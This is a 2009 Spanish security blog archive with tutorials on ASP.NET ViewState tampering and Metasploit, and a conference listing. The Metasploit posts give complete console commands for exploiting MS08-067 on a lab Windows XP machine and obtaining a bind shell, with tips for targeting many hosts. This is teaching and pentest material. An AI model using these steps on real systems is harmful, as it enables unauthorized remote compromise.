Archive for February, 2009

Seguridad sobre ViewState en ASP.net

|

ViewState es una forma de trasnmitir datos ofuscados desde los clientes a la aplicación web en ASP.net. Básisamente consiste en un campo oculto que contiene un chorro largo de datos aparentemente ilegibles. Es interesante porque está muy extendido su uso, no obstante este parámetro es creado por defecto en todas las aplicaciones ASP.net.

El uso habitual es permitir estado sobre http ya que el protocolo no lo contempla.
Desde el punto de vista de la seguridad es importante saber que los datos no se envían por defecto cifrados (aunque como veremos posteriormente pueden configurarse así) sino codificados en base64. Es aquí donde tenemos el primer punto de ataque desde el punto de vista de seguridad. Inspeccionar este parámetro puede proporcionarnos información sensible.

Para leer los datos podemos hacer tampering de parametros con cualquier proxy y descodificarlo en cualquier descodificador que soporte base64 (todos) aunque esta opción es un poco tediosa. Más de uno ya se ha pegado con esto antes y gracias a ello tenemos varias herramientas que nos permiten ver estos datos de manera sencilla, voy a nombrar dos:

1. Burp Suite. Esta gran herramienta ofrece entre otras muchas cosas la decodificación automática del ViewState, sin siquiera hacer nada, solo navegar a través del proxy, como podemos apreciar en la siguiente imágen:


Free Image Hosting at www.ImageShack.us

Como apreciamos en la imagen hay una pestaña dedicada al ViewState en la que podemos ver su contenido. Un detalle importante es que esta aplicación ya detecta si está activada la opción MAC enabled, que veremos a continuación.

2. ViewState Decoder. Este plugin para firefox nos permite ver los datos de manera integrada en el navegador, sin necesidad de proxys, como podemos ver en la siguiente imagen:


Free Image Hosting at www.ImageShack.us

Bien ya tenemos el primer punto de ataque, ver datos sensibles. Imaginemos por ejemplo que uno de esos datos es el precio de un artículo en una página de venta de libros. El segundo punto de ataque es modificar dicho parámetro para engañar a la aplicación. ¿Es esto posible? La respuesta es sí. Tan simple como interceptar el parámetro, descodificarlo, modificarlo, volverlo a codificar y enviarlo.

Leyendo esto podemos pensar que es un mecanismo tremendamente inseguro de transmisión de datos aunque en realidad no es así, primero porque tiene opciones para asegurarlo y segundo porque en esencia está pensado para trasmitir el estado de la página, opciones de idioma, etc y no datos sensibles.
De todas formas aplicando las opciones de seguridad sí pueden transmitirse datos de manera segura y cifrada, esas opciones son las siguientes:

1. ViewState MAC. Este sistema permite tras cada dato introducido en el parámetro añadir su firma hash. de esta manera si el servidor recibe un dato y su firma no coincide con el dato recibimos el siguiente error:


Free Image Hosting at www.ImageShack.us

ViewState MAC puede activarse con la opción EnableViewStateMac en el fichero de configuración.

2. Cifrado del ViewState. Es posible, su uso no está muy extendido pero la funcionalidad está disponible. Básicamente se realiza añadiendo el siguiente código al fichero de configuración:

<configuration>

   <system.web>

      <machineKey validation="3DES" />

   </system.web>

</configuration>

Para más información sobre el cifrado del ViewState os remito a la siguiente web de Microsoft.

En resumen, es un punto de ataque que debe inspeccionarse ante páginas en ASP. Lo primero es ver si los datos no están cifrados para ver sus contenidos y valorar si son sensibles o aportan información adicional sobre la aplicación. En caso afirmativo intentar la modificación de los mismos.

Metasploit: Sesiones y otras hierbas

|

Hoy toca post ligerito sobre Metasploit, que ando bastante liado, mucho trabajo, mucho estudio y esta tarde a las FIST.

En algunas ocasiones puede darse el caso de que tengamos muchas máquinas explotadas con sesiones, shells, etc. Imaginemos el caso de que tenemos en una pestaña la consola mfs con un Windows explotado y ejecutando un comando que no queremos interrumpir. ¿Tengo que lanzar de nuevo el exploit para conseguir una nueva shell? La respuesta es no. Para eso están las sesiones.

Las sesiones pueden verse desde la consola mfs con el comando “sessions -l“. Cada sesión abierta tiene un identificador único. Veamos el ejemplo:

msf > sessions -l

Active sessions
===============

Id  Description    Tunnel
–  ———–    ——
2   Command shell  192.168.60.1:5099 -> 192.168.60.130:4444

Como podemos apreciar tenemos una sesión abierta con identificador 2. Normalmente esto significa que tendremos otra pestaña en nuestra consola con la máquina explotada.

Si queremos acceder a la shell para ejecutar otra serie de comandos simplemente ejecutamos “sessions -i 2“:

msf > sessions -i 2
[*] Starting interaction with 2…

C:\WINDOWS\system32>

Las opciones del comando “sessions” son muy descriptivas:

msf > sessions -h
Usage: session [options]

Active session manipulation and interaction.

OPTIONS:

-d <opt>  Detach an interactive session
-h        Help banner.
-i <opt>  Interact with the supplied session identifier.
-k <opt>  Terminate session.
-l        List all active sessions.
-q        Quiet mode.
-v        List verbose fields.

Remite el ataque DDOS sobre Metasploit.

Por otro lado comentar que ha remitido el ataque DOS sobre la web oficial, si queréis informaros paso a paso de cómo lo llevaron hay 3 entradas en el blog donde lo comentan:

Round 1.

Round 2.

Round 3.

Lo que no cuentan en sus post es que cierto día entre estos ataques se dejaron activado el phpinfo y un servidor dispone de toda la información referente a opciones php, mysql, kernel, etc de la máquina que soporta el servidor web de Metasploit.com. Evidentemente no lo divulgaré ;)

Metasploit: Uso básico y ejecución de exploits

|

Una vez que hemos hablado sobre Metasploit y lo hemos instalado y actualizado  llega el momento de ponerlo en funcionamiento. Hoy vamos a ver el manejo básico de la herramienta y de paso lanzaremos un exploit contra una maquina vulnerable, todo en entorno de laboratorio.

::Manejo Basico::
Para todas las pruebas vamos a utilizar la consola mfs. Desde Unix accedemos a ella mediante el binario “mfsconsole“. Desde Windows podemos acceder mediante la GUI, y una vez abierta haciendo click en Window->Console o con la combinación de teclas Ctrl+o.
Lo primero que vemos en la consola es un resumen de los exploits, payloads, encoders, etc  cargados en el entorno:

____________
< metasploit >
————
\   ,__,
\  (oo)____
(__)    )\
||–|| *

=[ msf v3.2-release
+ -- --=[ 262 exploits - 117 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 46 aux

El primer comando que deberíamos probar es "help", que nos muestra los comandos disponibles y una breve explicación de los mismos:

mfs_help

Por otro lado tenemos un sistema víctima a auditar. En nuestro caso se trata de un sistema virtual Windows XP que me ha proporcionado spanic. Dicho sistema es vulnerable al "Microsoft Security Bulletin MS08-067 – Critical", sobre el que ya hablé en su dia.
Nos hemos saltado un paso importante: identificar el sistema vulnerable. Habitualmente nadie usa Metasploit para ello aunque como veremos en futuros post es posible realizarlo desde él o importando directamente informes de aplicaciones como Nessus.
Para el caso que nos ocupa simplemente tenemos una máquina vulnerable en la IP 192.168.60.130 y nuestra máquina con el Metasploit instalado y la consola esperando a que explotemos la vulnerabilidad de la víctima.

Volvemos pues a la consola mfs. Es posible navegar los exploits, encoders, payloads, etc con el comando "show". Por ejemplo para listar los exploits disponibles utilizaremos el comando "show exploits", que nos da el siguiente resultado (recortado para un mejor entendimiento):

....
windows/smb/ms06_066_nwwks               Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi              Microsoft Server Service Relative Path Stack Corruption
windows/smb/msdns_zonename               Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
....

Como podemos apreciar el framework tiene disponible un exploit para la vulnerabilidad que queremos explotar (ms08_067_netapi).
Para situarnos en el exploit que queremos lanzar utilizamos el comando "use". Por ejemplo nosotros introduciremos el comando "use windows/smb/ms08_067_netapi". Como vemos el promt ha cambiado:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Ahora necesitamos saber qué opciones permite este exploit y cómo configurarlo, seleccionar el objetivo, etc. En Metasploit esto se realiza mediante la modificación de variables asociadas a cada exploit. Para ver que opciones nos permite configurar un exploit determinado utilizamos el comando "info" (recortado para un mejor entendimiento):

msf exploit(ms08_067_netapi) > info

Name: Microsoft Server Service Relative Path Stack Corruption
Version: 5888
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)

Provided by:
hdm <hdm@metasploit.com>
Brett Moore <brett.moore@insomniasec.com>

Available targets:
Id  Name
--  ----
0   Automatic Targeting
1   Windows 2000 Universal
2   Windows XP SP0/SP1 Universal
3   Windows XP SP2 English (NX)
4   Windows XP SP3 English (NX)
.......

Basic options:
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
Space: 400
Avoid: 8 characters

Description:
.....

References:
.....

Como podemos apreciar tenemos disponibles opciones para seleccionar el objetivo (RHOST), el puerto de smb (RPORT) y el pipe utilizado (SMBPIPE) y se nos informa de si son necesarios u opcionales. También hay abundante información acerca de sobre qué sistemas está probado el exploit, descripción del mismo, referencias, etc.

Para aplicar las opciones utilizamos el comando "set". Este comando recibe como primer parametro la opción y como segundo el valor a aplicar, separados por espacios. Esto quiere decir que si el valor de una variable tiene espacios debemos introducirlo entre comillas dobles. En nuestro caso estableceríamos el objetivo, puerto y pipe con la siguiente secuencia:

msf exploit(ms08_067_netapi) > set RHOST 192.168.60.130
RHOST => 192.168.60.130
msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER

Ahora vamos a configurar el Payload. Vamos a utilizar uno sencillo que sirve para darnos acceso a una linea de comandos en la máquina víctima, si bien hay algunos muy elaborados como por ejemplo la inyección de dll's para conectarnos a la víctima por VNC.
Para ver los payloads disponibles tenemos la opción "show payloads", para elegir el que queremos usamos el comando "set". En nuestro caso:

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

Ahora con el comando "show options" podemos comprobar que los datos se han introducido correctamente:

msf exploit(ms08_067_netapi) > show options

Module options:

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    192.168.60.130   yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_bind_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST     192.168.60.130   no        The target address

Exploit target:

Id  Name
--  ----
0   Automatic Targeting

En este caso solo tenemos un sistema víctima posible (con ID 0), en caso de tener varios elegiríamos con "set target N".
Asímismo algunos exploits permiten la comprobación de la vulnerabilidad sin ejecutarla mediante el comando "check". Este no es el caso por lo que solo nos queda lanzar el exploit, para ello utilizamos el comando "exploit":

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability…
[*] Command shell session 1 opened (192.168.60.1:5953 -> 192.168.60.130:4444)

Microsoft Windows XP [Versi?n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

El sistema es nuestro ;)

Lo comprobamos ejecutando comandos sobre la shell que acabamos de obtener:

C:\WINDOWS\system32>ipconfig /all
ipconfig /all

Configuraci?n IP de Windows

Nombre del host . . . . . . . . . : spanic-08bcbab7
Sufijo DNS principal  . . . . . . :
Tipo de nodo. . . . . . . . . . . : mixto
Enrutamiento habilitado. . . . . .: No
Proxy WINS habilitado. . . . .    : No
Lista de b?squeda de sufijo DNS:    localdomain

Adaptador Ethernet Conexi?n de ?rea local          :

Sufijo de conexi?n espec?fica DNS : localdomain
Descripci?n. . . . . . . . . . .  : VMware Accelerated AMD PCNet Adapter
Direcci?n f?sica. . . . . . . . . : 00-0C-29-32-66-B3
DHCP habilitado. . . . . . . . .  : No
Autoconfiguraci?n habilitada. . . : S?
Direcci?n IP. . . . . . . . . . . : 192.168.60.130
M?scara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada   : 192.168.60.2
Servidor DHCP . . . . . . . . . . : 192.168.60.254
Servidores DNS . . . . . . . . . .: 192.168.60.2
Servidor WINS principal . . . . . : 192.168.60.2
Concesi?n obtenida . . . . . . .  : mi?rcoles, 11 de febrero de 2009 11:49:35
Concesi?n expira . . . . . . . . .: mi?rcoles, 11 de febrero de 2009 12:19:35

C:\WINDOWS\system32>
A destacar que hemos introducido las opciones para un objetivo concreto pero ¿y si tengo una lista de 50 pc’s con la misma vulnerabilidad y quiero explotarlos todos? ¿tengo que ir uno por uno ? Evidentemente la respuesta es no. En Metasploit podemos definir variables globales.
Para volver a la pantalla inicial tenemos el comando “back“. Una vez en la pantalla inicial podemos definir variables globales con el comando “setg“. Si por ejemplo queremos definir globalmente que el payload sea el que utilizamos en esta ocasión utilizamos:

msf > setg payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

Después con “setg” comprobamos qué variables globales tenemos definidas con sus correspondientes valores:

msf > setg

Global
======

Name     Value
—-     —–
payload  windows/shell_bind_tcp

Si queremos guardar nuestras variables globales para que se queden incluso después de cerrar el Metasploit usamos el comando “save“:

msf > save
Saved configuration to: C:\Documents and Settings\dmedianero\Datos de programa/.msf3/config

Como podemos ver el framework nos informa de dónde queda guardada dicha configuración, es un fichero de texto en formato simple.
Hasta aqui lo que probablemente todos los que usáis Metasploit hayáis utilizado habitualmente, a partir de ahora intentaré poco a poco escribir sobre usos menos comunes y muy utiles como el manejo de jobs, uso otros payloads, BBDD, etc.

Conferencia FIST MADRID Febrero 2009

|

*****************************************************
Conferencia FIST MADRID Febrero 2009
*****************************************************
El Jueves 19 de Febrero de 2009, gracias a la colaboración del Consejo Superior de Investigaciones Científicas y de la asociación ISSA España se celebrará en Madrid una nueva edición de las Conferencias de Seguridad FIST. El evento tendrá lugar en el edificio del Instituto de Física Aplicada del CSIC.

Programa:
- 18:00 “ISSA España” – Vicente Aceituno
- 18:10 “La jungla de las redes Wifi” – Alejandro Martín (Informatica64)
- 19:10 “Seguridad en Windows Mobile” – Alberto Moreno (AMT)
- 20:00 Descanso
- 20:10 “Network Access Control” – Touji Suzuhara (Heroes Certificados)
- 21:00 Despedida

Lugar:
La sala está en la Calle Serrano, 144.
Ver http://www.ifa.csic.es/Contacto.aspx para consultar medios de transporte público.

Para más información:
http://www.fistconference.org/?s=6&t=2

Se recomienda inscribirse, dado que las plazas son limitadas:
http://www.fistconference.org/?s=9
(Se requiere nombre de pila y dirección de correo)

Introducción a Metasploit

|

Metasploit es un framework muy conocido aunque si le preguntas a la gente la mayor parte lo usa únicamente para lanzar alguno de los exploits que tiene.


Sobra decir que este entorno de trabajo sirve para unas cuantas cosas más, muchas de ellas interesantes y muy desconocidas.
En una serie de post que tengo en mente ir escribiendo (ya sabéis de mi incostancia para escribir asique no esperéis ni siquiera uno semanal) me propongo ir poco a poco descubriendo los entresijos del uso de esta gran herramienta, paradógicamente tan conocida como desconocida.
En esta primera introducción simplemente comentaré qué es, cómo obtenerlo, modos de ejecución, como actualizarla, etc. Vamos a ello:

::Qué es::
Es un entorno de trabajo desarrollado en Ruby que permite auditar y explotar sistemas y redes. Es muy importante señalar que su principal característica es la de explotar, y es por ella que es una herramienta mundialmente conocida.

De cara al usuario consta básicamente de 5 módulos:

- Exploits: Conjunto de scripts escritos en Ruby preparados para aprovechar vulnerabilidades utilizando el Framework.
- Payloads: Conjunto de instrucciones, acciones, comandos, etc que se pueden insertar para ejecutar en los sistemas una vez explotados por medio de un exploit.
- Encoders: Conjunto de herramientas de codificación, sirven para codificar los payloads y con ello evadir sistemas de detección de intrusos.
- NOP’s: Generadores de instrucciones nulas, hay varios para realizar evasión de detectores de intrusos.
- Aux: Módulos auxiliares, conjunto de utilidades variadas que como veremos en futuros artículos pueden resultar muy interesantes.

A modo de resumen la versión actual de Metasploit v3.2-release viene de serie con el siguiente equipamiento:
=[ msf v3.2-release
+ — –=[ 262 exploits – 117 payloads
+ — –=[ 17 encoders – 6 nops
=[ 46 aux

::Cómo obtenerlo::
Metasploit está licenciado bajo la licencia “Metasploit LLC” y es gratuito. Está disponible en la página web oficial y soporta múltiples plataformas: Linux, WIndows, Solaris, MacOS y BSD’s.
Para estar al día de los cambios en el proyecto, uso de la herramienta y progresos es más que recomendable la lectura del blog oficial.
Instalarlo en Windows es hacer doble click sobre el .exe y siguiente, siguiente.
Sobre Unix descargamos un fichero tar.gz y únicamente tenemos que descomprimirlo.

::Modos de ejecución::

Metasploit puede lanzarse en 3 modos:
- Consola: Es la manera más geek y tosca aunque la que permite un mejor aprendizaje. Sobre ella profundizaré en futuros posts y será la que utilizaré en adelante.
- GUI: Es una interfaz gráfica muy cómoda que permite la ejecución del entorno de manera muy simple. Ideal para Script kiddies.
- Web: Metasploit permite ejecutarse en modo servidor local en la máquina, permitiendo la conexión al mismo mediante un navegador web al puerto 8888. Es otra manera muy sencilla
y cómoda de utilizar la herramienta.

Bajo Windows para ejecutarla tenemos cómodos enlaces en el menu de inicio.
Bajo Unix simplemente ejecutamos los binarios corresponientes: consola (msfconsole), gui (msfgui) y web (msfweb).

::Cómo actualizarlo::
Como todo software que se precie Metasploit se actualiza. Es importante tener la release más moderna pero lo es no solo por seguridad, sino también por una razón muy simple, en este caso tener el entorno
actualizado significa disponer de los últimos exploits bajo la herramienta. En sucesivos posts veremos cómo es posible programar nuestros propios exploits pero de momento únicamente explicaremos como
mantenerla actualizada.
Bajo Windows es tan simple como hacer click en el enlace “Online update”. Lo que hace por debajo este enlace es ejecutar el comando “launcher.rb base updater.rb
Bajo Unix no es mucho más complicado, simplemente ejecutar en consola la siguiente secuencia de comandos:

$ svn co http://metasploit.com/svn/framework3/trunk/
$ svn update

La primera vez dará un error de certificado que tendremos que aceptar.

Hasta aqui la introducción a esta gran herramienta.

::Referencias y notas::
Pagina oficial:  http://www.metasploit.com/

Blog oficial:   http://www.metasploit.com/blog/

NOTA: actualmente La página de Metasploit está sufriendo una serie de ataques de denegación de servicio por lo que de manera temporal han mudado su servicio a la URL http://www.metasploit.org/.